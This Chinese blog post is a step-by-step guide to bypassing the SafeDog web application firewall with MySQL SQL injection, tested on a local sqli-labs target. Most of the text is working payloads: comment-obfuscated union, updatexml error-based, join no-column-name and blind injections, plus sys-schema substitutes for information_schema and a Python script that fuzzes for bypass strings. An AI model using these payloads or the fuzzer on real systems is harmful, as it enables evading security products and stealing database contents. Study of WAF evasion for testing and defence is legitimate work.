MYSQL Bypass SafeDog

环境详情

采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境

本地安装参考:解决本地安装安全狗

phpstudy: 2021版

网站安全狗: Apache V4.0.30255

靶场: sqli-labs-less1 (字符型注入)

打开安全狗,防护措施拉满,防御sql注入的也拉满

image-20210921154018950

image-20210921154239023

接下来开始我们的绕过

通用

and和or被拦截

--+ 不拦截
and 不拦截
and1 不拦截
and 1 拦截
and/*aaaa*/1拦截
and/*//*/1 不拦截

安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截

?id=2 and1

image-20210921162632380

?id=2 and 1

image-20210921162651353

绕过方法是使用/*//*/代替空格

image-20210921163316553

联合查询

order by

order 不拦截
by 不拦截
orderby 不拦截
order /*!10440by*/ 拦截
order%0a%0aby拦截
/*!10000order*/%0a%0a/*!100440by*/拦截
orde/*//*/by 不拦截

安全狗过滤order by也是order空格by严格匹配,同样把空格换成/*//*/就能绕过

image-20210921163535044

union select

union 	不拦截
select 	不拦截
unionselect 拦截

+union --+1%0aselect 拦截
+union %23%0a+all+select+ 拦截
/*&id=-1'+union+select+1,2,3--+*/ 不拦截
+"/*" union select 1,2,3 "*/"--+  不拦截
+'/*' union select 1,2,3 %23*/--+ 不拦截

union/*//*/select 拦截
/*!10440union*//*//*/select 拦截
union/*//*//*!10440select*/ 不拦截
/*!10440union*//*!10440select*/ 拦截
/*!10440union*//*//*//*!10440select*/ 不拦截
/*!10450union*//*//*//*!10440select*/ 不拦截
/*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截

image-20210922102845101

获取数据库名

database()拦截
hex(database%0a())不拦截
hex(database/**/())不拦截

user()拦截
hex(user%0a()) 不拦截
hex(user/**/()) 不拦截

image-20210922105143695

image-20210922105219360

使用hacker的16进制解码就获取数据名和用户名了

获取表名

没有拦截?难道狗子觉得获取这个不重要

?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+

image-20210922105720853

获取字段名

依旧没有拦截

?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+

image-20210922110059863

获取数据

还是没有拦截, 那就别怪我偷家了👀

?id=-1'+'/*' union select 1,(select username from users limit 1,1),3 %23*/--+

image-20210922110232134

报错注入

报错注入常用的一些函数

 1. floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 

 2. extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 

 3. updatexml() 
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

updatexml

and updatexml(1,1,1) 拦截

and /*!updatexml/*(1,1,1) 拦截

and/*!10440updatexml*/(1,1,1)拦截

and/*//*//*!10440updatexml*/(1,1,1)未拦截

/*!and*//*!10440updatexml*/(1,1,1)拦截

/*!%26%26*//*!10440updatexml*/(1,1,1)拦截

/*!%26%26*//*//*//*!10440updatexml*/(1,1,1)未拦截

/*!||*//*!10440updatexml*/(1,1,1)拦截

/*!xor*//*!10440updatexml*/(1,1,1)拦截

user() 拦截
user/**/()拦截
user/**/(/**/)拦截
/*!user()*/ 拦截
/*!10440user()*/ 未拦截

database() 拦截
database/**/() 拦截
/*!database()*/ 拦截
/*!10040database()*/未拦截
/*!10440database()*/ 未拦截

因此查询语句为

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(/*!10440database()*/),0x7e),1)--+

image-20210922153405227

接下来的查询访问information_schema数据库被拦截了

image-20210922154218949

information 拦截
information_schema 拦截

bypass information_schema

经查阅,接下来的方法mysql>=5.7才能使用,除了information_schema表以外,存在其他表来进行绕过

MySQL5.7的新特性

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys 数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

sys.schema_auto_increment_columns

当你利用Mysql设计数据库时,是否会给每个表加一个自增的id(或其他名字)字段呢?如果是,那么我们发现了一个注入中在mysql默认情况下就可以替代information_schema库的方法。

schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。

我创建了一个名为1ink数据库

data表没有自增id

id_increament表没有自增id

security数据库

emails, users, refers, uagents均有自增id

challenges数据库

表没有自增id

可以看到,有自增id的表出现在了schema_auto_increment_columns表中

image-20210923170011772

那没有自增id的表在哪里找呢?

schema_table_statistics_with_buffer: 有自建数据库的表名

image-20210923170322266

x$schema_table_statistics_with_buffer: 自建数据库的表名

image-20210923171433475

其他可用表

schema_table_statistics有自建数据库的表名

image-20210923170657682

x$schema_table_statistics: 有自建数据库的表名

image-20210923171555358

schema_index_statistics:如果自建数据库有索引,这里会有记录

image-20210923171028574

x$schema_index_statistics: 如果自建数据库有索引,这里会有记录

image-20210923171733038

x$schema_flattened_keys:

image-20210923171859977

绕过:

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440*/from sys.x$schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+

and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440%0a*/from sys.schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440/**/*/from sys.x$schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+

发现在from前面加东西就能绕过,用脚本跑一下能出来好多

import requests

url = "http://192.168.106.155/sql/Less-1/?id=1'and/*//*/"
Fuzz_a = ['/*!10440*/','/*!55555*/','/*!13141/','/*!12345*/','/*!abcd*/','/*!hhhhh*/']
Fuzz_b = ['/*!','*/','/**/','/','~','!',',','.','%','`','*','+','=','?','`','@','//','/*//*/']
Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%20','%A0']
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
FUZZ = Fuzz_a + Fuzz_b+ Fuzz_c

for a in FUZZ:
    pass
    for b in FUZZ:
        pass
        for c in FUZZ:
            pass
            for d in FUZZ:
                pass
                for e in FUZZ:
                    pass
                    # payload= "/*!updatexml" + a + b + c + d + e+"select*/1,2,3"
                    payload="/*!10440updatexml*/(1,concat(0x7e,(select table_name"+ b+c+d+e+"from sys.x$schema_table_statistics where table_schema='security' limit 0,1),0x7e),1)--+"
                    urlp = url+payload
                    res = requests.get(urlp, headers=header)
                    if 'uagents' in res.text:
                        print("[*]URL:" + urlp +'过狗!')
                        with open('dog.txt','a') as f:
                            f.write(urlp)
                            f.write('\n')

join无字段名报错注入

我们获取了表名,但是我们没有字段名,怎么办,不能到这里就前功尽弃了

利用join进行无列名报错注入

无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

主要使用join......using()

select * 未拦截
select * from 未拦截
select * from 1 拦截
select * from/*//*/1 未拦截
select * from/*//*/1 as 拦截
select * from/*//*/1/*!10440as*/未拦截

因此可以构造payload

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b)c),0x7e),1)--+

image-20210923200621179

继续:

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b using(id))c),0x7e),1)--+

image-20210923200658695

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b using(id,username))c),0x7e),1)--+

image-20210923200722350

字段名也爆出来了,接下来就是获取数据

?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select username from/*//*/users limit 0,1),0x7e),1)--+

image-20210923200923569

盲注

延时盲注

and if 未拦截
and if() 拦截
and/*//*/if() 未拦截
and/*//*/if(1)未拦截
and/*//*/if(1,2)未拦截
and/*//*/if(1,2,3)未拦截

/*!and*/if(1,2,3) 拦截
/*!10440and*/if(1,2,3) 未拦截

/*!&&*/if(1,2,3) 拦截
/*!10440&&*/if(1,2,3) 拦截
substr() 未拦截
substr(1,1,1) 未拦截
user() 拦截
user(/**/) 拦截
user/*//*/() 拦截
/*!user/() 拦截
/*!10440user*/() 未拦截

sleep() 拦截
/*!sleep*/() 未拦截
/*!sleep/(1) 拦截
/*!sleep/(/*!1*/)未拦截

因此构造payload:

?id=1' and/*//*/ if (substr(hex(/*!10440user*/()),1,1)>1,sleep/*//*/(/*!5*/),1)--+
?id=1' and/*//*/ if(substr(hex(/*!10440database*/()),1,1)>1,sleep/*//*/(/*!5*/),1)--+

布尔注入

布尔注入少用个if判断和sleep()

?id=1' and/*//*/substr(/*!10440database*/(),1,1)='s'--+

image-20210923210249820

总结

安全狗绕过主要就是内联注释/**/,/*!*/,加上一些奇怪的字符或者版本号,

参考

information被ban的情况下进行SQL注入 - Cl4y's SecretCl4y's Secret

Bypass information_schema 与无列名注入_m0_52587327的博客-CSDN博客

SQL注入之无列名注入

Sql注入Bypass进阶 - 简书 (jianshu.com)

聊一聊bypass information_schema - 安全客,安全资讯平台 (anquanke.com)

SQL注入及bypass思路(3)安全狗safedog - 春告鳥 - 博客园 (cnblogs.com)

MYSQL_SQL_BYPASS_WIKI

posted @ 2021-09-23 22:53  1ink  阅读(225)  评论(0编辑  收藏  举报